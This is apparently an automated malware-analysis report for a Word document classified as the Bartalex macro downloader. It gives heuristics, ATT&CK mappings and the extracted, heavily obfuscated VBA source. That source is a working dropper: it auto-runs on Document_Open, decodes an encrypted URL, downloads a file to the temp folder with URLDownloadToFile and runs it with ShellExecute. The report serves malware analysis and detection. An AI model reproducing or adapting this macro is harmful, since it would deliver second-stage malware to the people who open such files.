MALICIOUS
258
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1105 Ingress Tool Transfer
The sample contains VBA macros that leverage the URLDownloadToFile API to download a second-stage payload. The presence of the URLDownloadToFile API and the 'OLE_VBA_DOWNLOAD' heuristic strongly indicate this malicious behavior. The ClamAV detection 'Doc.Downloader.Bartalex-6755229-0' further supports the classification as a downloader.
Heuristics 8
-
ClamAV: Doc.Downloader.Bartalex-6755229-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.Bartalex-6755229-0
-
Reference to URLDownloadToFile API critical SC_STR_URLDOWNLOADReference to URLDownloadToFile API
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
URLDownloadToFile in VBA critical OLE_VBA_DOWNLOADURLDownloadToFile in VBAMatched line in script
Private Declare PtrSafe Function æâëÿêéæêœàêçèûœéèÿèêîêàæçæéôûÿïûûâæçâïûôêàâëàâèéà眜éêôçïæîàëàçâêæïçëïëôàèëëôæàîîéêœüôèçççéàæéîæâêçé Lib "urlmon" Alias "URLDownloadToFileA" (ByVal âîæœôèæïèæêîééàâïœÿïüëÿéïééæëêüïœüûàèèûûàëâôÿîôâçàîïïïîèçèÿêæëïîêüëâœôêûôëœÿîîèâîâéïçïéèüîïëûœçîâçæè As Long, ByVal êôâæèëêÿéîàêéâôüüûÿîëôçëëœüüœçïè✜æôûâéôÿôêÿèèüïüîôæôüœæâëÿêéæêœàêçèûœéèÿèêîêàæçæéôûÿïûûâæçâïûôêàâë As String, ByVal àâèéà眜éêôçïæîàëàçâêæïçëïëôàèëëôæàîîéêœüôèçççéàæéîæâêçéâîæœôèæïèæêîééàâïœÿïüëÿéïééæë … -
Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
Private Sub Document_Open() -
Environ() call (env variable access) low OLE_VBA_ENVIRONEnviron() call (env variable access)Matched line in script
æâëÿêéæêœàêçèûœéèÿèêîêàæçæéôûÿïûûâæçâïûôêàâëàâèéà眜éêôçïæîàëàçâêæïçëïëôàèëëôæàîîéêœüôèçççéàæéîæâêçé 0, éîàêéâôüüûÿîëôçëëœüüœçïè✜æôûâéôÿôêÿèèüïüîôæôüœæâëÿêéæêœàêçèûœéèÿèêîêàæçæéôûÿïûûâæçâïûôêàâëàâèéà眜("ܼÍwá¶»€Þ³Ø¼Çª’Ĉ޷Às×ÀØ©¾Ü´®´ÈÁ¹¾ÈÇè·ååÜsv�âç·´", "wDhItJNQHhJpYUIeTKYjRRErRoBPwOAEeSPJcYvRqwsDGVrsCLGkASnGAqVffdiTMTyKKZehYxMFpWZuWbpzUiUHjEDgNfQUuUgZ"), Environ("temp") & éîàêéâôüüûÿîëôçëëœüüœçïè✜æôûâéôÿôêÿèèüïüîôæôüœæâëÿêéæêœàêçèûœéèÿèêîêàæçæéôûÿïûûâæçâïûôêàâëàâèéà眜("ܼÍw¦}ƺ®à°×ɾ", … -
Reference to ShellExecute API high SC_STR_SHELLEXECReference to ShellExecute API
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main Referenced by macro
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 12013 bytes |
SHA-256: cd6bbf65d9ad6ae73d6847bc70e5034062112975a2ee65e86052735882cd3816 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Declare PtrSafe Function œôæïàüûàèîâûàêèüÿïÿâçàîûûœüèëîæêêœûûôæëèàôôâôœàÿîüèèüàéûçûéîâîûœâœçüâçæèôÿâæéœôçéüàêïèÿüüûÿîœü眜àûü Lib "shell32.dll" Alias "ShellExecuteA" (ByVal ççéàæéîæâêçéâîæœôèæïèæêîééàâïœÿïüëÿéïééæëêüïœüûàèèûûàëâôÿîôâçàîïïïîèçèÿêæëïîêüëâœôêûôëœÿîîèâîâéïçïéè As Long, ByVal üîïëûœçîâçæèêôâæèëêÿéîàêéâôüüûÿîëôçëëœüüœçïè✜æôûâéôÿôêÿèèüïüîôæôüœæâëÿêéæêœàêçèûœéèÿèêîêàæçæéôûÿïû As String, ByVal ûâæçâïûôêàâëàâèéà眜éêôçïæîàëàçâêæïçëïëôàèëëôæàîîéêœüôèçççéàæéîæâêçéâîæœôèæïèæêîééàâïœÿïüëÿéïééæëêüï As String, ByVal œüûàèèûûàëâôÿîôâçàîïïïîèçèÿêæëïîêüëâœôêûôëœÿîîèâîâéïçïéèüîïëûœçîâçæèêôâæèëêÿéîàêéâôüüûÿîëôçëëœüüœçïè As String, ByVal ✜æôûâéôÿôêÿèèüïüîôæôüœæâëÿêéæêœàêçèûœéèÿèêîêàæçæéôûÿïûûâæçâïûôêàâëàâèéà眜éêôçïæîàëàçâêæïçëïëôàèëë As String, ByVal ôæàîîéêœüôèçççéàæéîæâêçéâîæœôèæïèæêîééàâïœÿïüëÿéïééæëêüïœüûàèèûûàëâôÿîôâçàîïïïîèçèÿêæëïîêüëâœôêûôëœÿ As Long) As Long
Private Declare PtrSafe Function æâëÿêéæêœàêçèûœéèÿèêîêàæçæéôûÿïûûâæçâïûôêàâëàâèéà眜éêôçïæîàëàçâêæïçëïëôàèëëôæàîîéêœüôèçççéàæéîæâêçé Lib "urlmon" Alias "URLDownloadToFileA" (ByVal âîæœôèæïèæêîééàâïœÿïüëÿéïééæëêüïœüûàèèûûàëâôÿîôâçàîïïïîèçèÿêæëïîêüëâœôêûôëœÿîîèâîâéïçïéèüîïëûœçîâçæè As Long, ByVal êôâæèëêÿéîàêéâôüüûÿîëôçëëœüüœçïè✜æôûâéôÿôêÿèèüïüîôæôüœæâëÿêéæêœàêçèûœéèÿèêîêàæçæéôûÿïûûâæçâïûôêàâë As String, ByVal àâèéà眜éêôçïæîàëàçâêæïçëïëôàèëëôæàîîéêœüôèçççéàæéîæâêçéâîæœôèæïèæêîééàâïœÿïüëÿéïééæëêüïœüûàèèûûàëâô As String, ByVal ÿîôâçàîïïïîèçèÿêæëïîêüëâœôêûôëœÿîîèâîâéïçïéèüîïëûœçîâçæèêôâæèëêÿéîàêéâôüüûÿîëôçëëœüüœçïè✜æôûâéôÿôê As Long, ByVal ÿèèüïüîôæôüœæâëÿêéæêœàêçèûœéèÿèêîêàæçæéôûÿïûûâæçâïûôêàâëàâèéà眜éêôçïæîàëàçâêæïçëïëôàèëëôæàîîéêœüôèç As Long) As Long
Private Sub àüôâüôÿæûûîèüéïûêœëîâüûôààêûèêèïîÿèèïœîçëüéîëéÿâââæüœüëôôàâæÿëœîéÿàêÿàéëüæüîæîïæœâûüêüæàèéœæîëêîÿçôê()
æâëÿêéæêœàêçèûœéèÿèêîêàæçæéôûÿïûûâæçâïûôêàâëàâèéà眜éêôçïæîàëàçâêæïçëïëôàèëëôæàîîéêœüôèçççéàæéîæâêçé 0, éîàêéâôüüûÿîëôçëëœüüœçïè✜æôûâéôÿôêÿèèüïüîôæôüœæâëÿêéæêœàêçèûœéèÿèêîêàæçæéôûÿïûûâæçâïûôêàâëàâèéà眜("ܼÍwá¶»€Þ³Ø¼Çª’Ĉ޷Às×ÀØ©¾Ü´®´ÈÁ¹¾ÈÇè·ååÜsv�âç·´", "wDhItJNQHhJpYUIeTKYjRRErRoBPwOAEeSPJcYvRqwsDGVrsCLGkASnGAqVffdiTMTyKKZehYxMFpWZuWbpzUiUHjEDgNfQUuUgZ"), Environ("temp") & éîàêéâôüüûÿîëôçëëœüüœçïè✜æôûâéôÿôêÿèèüïüîôæôüœæâëÿêéæêœàêçèûœéèÿèêîêàæçæéôûÿïûûâæçâïûôêàâëàâèéà眜("ܼÍw¦}ƺ®à°×ɾ", "wDhItJNQHhJpYUIeTKYjRRErRoBPwOAEeSPJcYvRqwsDGVrsCLGkASnGAqVffdiTMTyKKZehYxMFpWZuWbpzUiUHjEDgNfQUuUgZ"), 0, 0
œôæïàüûàèîâûàêèüÿïÿâçàîûûœüèëîæêêœûûôæëèàôôâôœàÿîüèèüàéûçûéîâîûœâœçüâçæèôÿâæéœôçéüàêïèÿüüûÿîœü眜àûü 0, "open", Environ$("tmp") & éîàêéâôüüûÿîëôçëëœüüœçïè✜æôûâéôÿôêÿèèüïüîôæôüœæâëÿêéæêœàêçèûœéèÿèêîêàæçæéôûÿïûûâæçâïûôêàâëàâèéà眜("ܼÍw¦}ƺ®à°×ɾ", "wDhItJNQHhJpYUIeTKYjRRErRoBPwOAEeSPJcYvRqwsDGVrsCLGkASnGAqVffdiTMTyKKZehYxMFpWZuWbpzUiUHjEDgNfQUuUgZ"), "", vbNullString, vbNormalFocus
End Sub
Private Sub Document_Open()
àüôâüôÿæûûîèüéïûêœëîâüûôààêûèêèïîÿèèïœîçëüéîëéÿâââæüœüëôôàâæÿëœîéÿàêÿàéëüæüîæîïæœâûüêüæàèéœæîëêîÿçôê
End Sub
Function éîàêéâôüüûÿîëôçëëœüüœçïè✜æôûâéôÿôêÿèèüïüîôæôüœæâëÿêéæêœàêçèûœéèÿèêîêàæçæéôûÿïûûâæçâïûôêàâëàâèéà眜(éêôçïæîàëàçâêæïçëïëôàèëëôæàîîéêœüôèçççéàæéîæâêçéâîæœôèæïèæêîééàâïœÿïüëÿéïééæëêüïœüûàèèûûàëâôÿîôâçàîï, ïïîèçèÿêæëïîêüëâœôêûôëœÿîîèâîâéïçïéèüîïëûœçîâçæèêôâæèëêÿéîàêéâôüüûÿîëôçëëœüüœçïè✜æôûâéôÿôêÿèèüïüîô)
Dim æôüœæâëÿêéæêœàêçèûœéèÿèêîêàæçæéôûÿïûûâæçâïûôêàâëàâèéà眜éêôçïæîàëàçâêæïçëïëôàèëëôæàîîéêœüôèçççéàæéîæ, âêçéâîæœôèæïèæêîééàâïœÿïüëÿéïééæëêüïœüûàèèûûàëâôÿîôâçàîïïïîèçèÿêæëïîêüëâœôêûôëœÿîîèâîâéïçïéèüîïëûœçî, âçæèêôâæèëêÿéîàêéâôüüûÿîëôçëëœüüœçïè✜æôûâéôÿôêÿèèüïüîôæôüœæâëÿêéæêœàêçèûœéèÿèêîêàæçæéôûÿïûûâæçâïûô, êàâëàâèéà眜éêôçïæîàëàçâêæïçëïëôàèëëôæàîîéêœüôèçççéàæéîæâêçéâîæœôèæïèæêîééàâïœÿïüëÿéïééæëêüïœüûàèèûû, àëâôÿîôâçàîïïïîèçèÿêæëïîêüëâœôêûôëœÿîîèâîâéïçïéèüîïëûœçîâçæèêôâæèëêÿéîàêéâôüüûÿîëôçëëœüüœçïè✜æôûâé
æôüœæâëÿêéæêœàêçèûœéèÿèêîêàæçæéôûÿïûûâæçâïûôêàâëàâèéà眜éêôçïæîàëàçâêæïçëïëôàèëëôæàîîéêœüôèçççéàæéîæ = Len(ïïîèçèÿêæëïîêüëâœôêûôëœÿîîèâîâéïçïéèüîïëûœçîâçæèêôâæèëêÿéîàêéâôüüûÿîëôçëëœüüœçïè✜æôûâéôÿôêÿèèüïüîô)
âêçéâîæœôèæïèæêîééàâïœÿïüëÿéïééæëêüïœüûàèèûûàëâôÿîôâçàîïïïîèçèÿêæëïîêüëâœôêûôëœÿîîèâîâéïçïéèüîïëûœçî = 1
âçæèêôâæèëêÿéîàêéâôüüûÿîëôçëëœüüœçïè✜æôûâéôÿôêÿèèüïüîôæôüœæâëÿêéæêœàêçèûœéèÿèêîêàæçæéôûÿïûûâæçâïûô = Len(éêôçïæîàëàçâêæïçëïëôàèëëôæàîîéêœüôèçççéàæéîæâêçéâîæœôèæïèæêîééàâïœÿïüëÿéïééæëêüïœüûàèèûûàëâôÿîôâçàîï)
éêôçïæîàëàçâêæïçëïëôàèëëôæàîîéêœüôèçççéàæéîæâêçéâîæœôèæïèæêîééàâïœÿïüëÿéïééæëêüïœüûàèèûûàëâôÿîôâçàîï = StrReverse(éêôçïæîàëàçâêæïçëïëôàèëëôæàîîéêœüôèçççéàæéîæâêçéâîæœôèæïèæêîééàâïœÿïüëÿéïééæëêüïœüûàèèûûàëâôÿîôâçàîï)
For êàâëàâèéà眜éêôçïæîàëàçâêæïçëïëôàèëëôæàîîéêœüôèçççéàæéîæâêçéâîæœôèæïèæêîééàâïœÿïüëÿéïééæëêüïœüûàèèûû = âçæèêôâæèëêÿéîàêéâôüüûÿîëôçëëœüüœçïè✜æôûâéôÿôêÿèèüïüîôæôüœæâëÿêéæêœàêçèûœéèÿèêîêàæçæéôûÿïûûâæçâïûô To 1 Step -1
àëâôÿîôâçàîïïïîèçèÿêæëïîêüëâœôêûôëœÿîîèâîâéïçïéèüîïëûœçîâçæèêôâæèëêÿéîàêéâôüüûÿîëôçëëœüüœçïè✜æôûâé = àëâôÿîôâçàîïïïîèçèÿêæëïîêüëâœôêûôëœÿîîèâîâéïçïéèüîïëûœçîâçæèêôâæèëêÿéîàêéâôüüûÿîëôçëëœüüœçïè✜æôûâé & Chr(Asc(Mid(éêôçïæîàëàçâêæïçëïëôàèëëôæàîîéêœüôèçççéàæéîæâêçéâîæœôèæïèæêîééàâïœÿïüëÿéïééæëêüïœüûàèèûûàëâôÿîôâçàîï, êàâëàâèéà眜éêôçïæîàëàçâêæïçëïëôàèëëôæàîîéêœüôèçççéàæéîæâêçéâîæœôèæïèæêîééàâïœÿïüëÿéïééæëêüïœüûàèèûû, 1)) - Asc(Mid(ïïîèçèÿêæëïîêüëâœôêûôëœÿîîèâîâéïçïéèüîïëûœçîâçæèêôâæèëêÿéîàêéâôüüûÿîëôçëëœüüœçïè✜æôûâéôÿôêÿèèüïüîô, âêçéâîæœôèæïèæêîééàâïœÿïüëÿéïééæëêüïœüûàèèûûàëâôÿîôâçàîïïïîèçèÿêæëïîêüëâœôêûôëœÿîîèâîâéïçïéèüîïëûœçî, 1)))
âêçéâîæœôèæïèæêîééàâïœÿïüëÿéïééæëêüïœüûàèèûûàëâôÿîôâçàîïïïîèçèÿêæëïîêüëâœôêûôëœÿîîèâîâéïçïéèüîïëûœçî = âêçéâîæœôèæïèæêîééàâïœÿïüëÿéïééæëêüïœüûàèèûûàëâôÿîôâçàîïïïîèçèÿêæëïîêüëâœôêûôëœÿîîèâîâéïçïéèüîïëûœçî + 1
If âêçéâîæœôèæïèæêîééàâïœÿïüëÿéïééæëêüïœüûàèèûûàëâôÿîôâçàîïïïîèçèÿêæëïîêüëâœôêûôëœÿîîèâîâéïçïéèüîïëûœçî > æôüœæâëÿêéæêœàêçèûœéèÿèêîêàæçæéôûÿïûûâæçâïûôêàâëàâèéà眜éêôçïæîàëàçâêæïçëïëôàèëëôæàîîéêœüôèçççéàæéîæ Then âêçéâîæœôèæïèæêîééàâïœÿïüëÿéïééæëêüïœüûàèèûûàëâôÿîôâçàîïïïîèçèÿêæëïîêüëâœôêûôëœÿîîèâîâéïçïéèüîïëûœçî = 1
Next
àëâôÿîôâçàîïïïîèçèÿêæëïîêüëâœôêûôëœÿîîèâîâéïçïéèüîïëûœçîâçæèêôâæèëêÿéîàêéâôüüûÿîëôçëëœüüœçïè✜æôûâé = StrReverse(àëâôÿîôâçàîïïïîèçèÿêæëïîêüëâœôêûôëœÿîîèâîâéïçïéèüîïëûœçîâçæèêôâæèëêÿéîàêéâôüüûÿîëôçëëœüüœçïè✜æôûâé)
éîàêéâôüüûÿîëôçëëœüüœçïè✜æôûâéôÿôêÿèèüïüîôæôüœæâëÿêéæêœàêçèûœéèÿèêîêàæçæéôûÿïûûâæçâïûôêàâëàâèéà眜 = àëâôÿîôâçàîïïïîèçèÿêæëïîêüëâœôêûôëœÿîîèâîâéïçïéèüîïëûœçîâçæèêôâæèëêÿéîàêéâôüüûÿîëôçëëœüüœçïè✜æôûâé
End Function
Attribute VB_Name = "NewMacros"
Sub dfghj()
'
' dfghj Macro
'
'
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.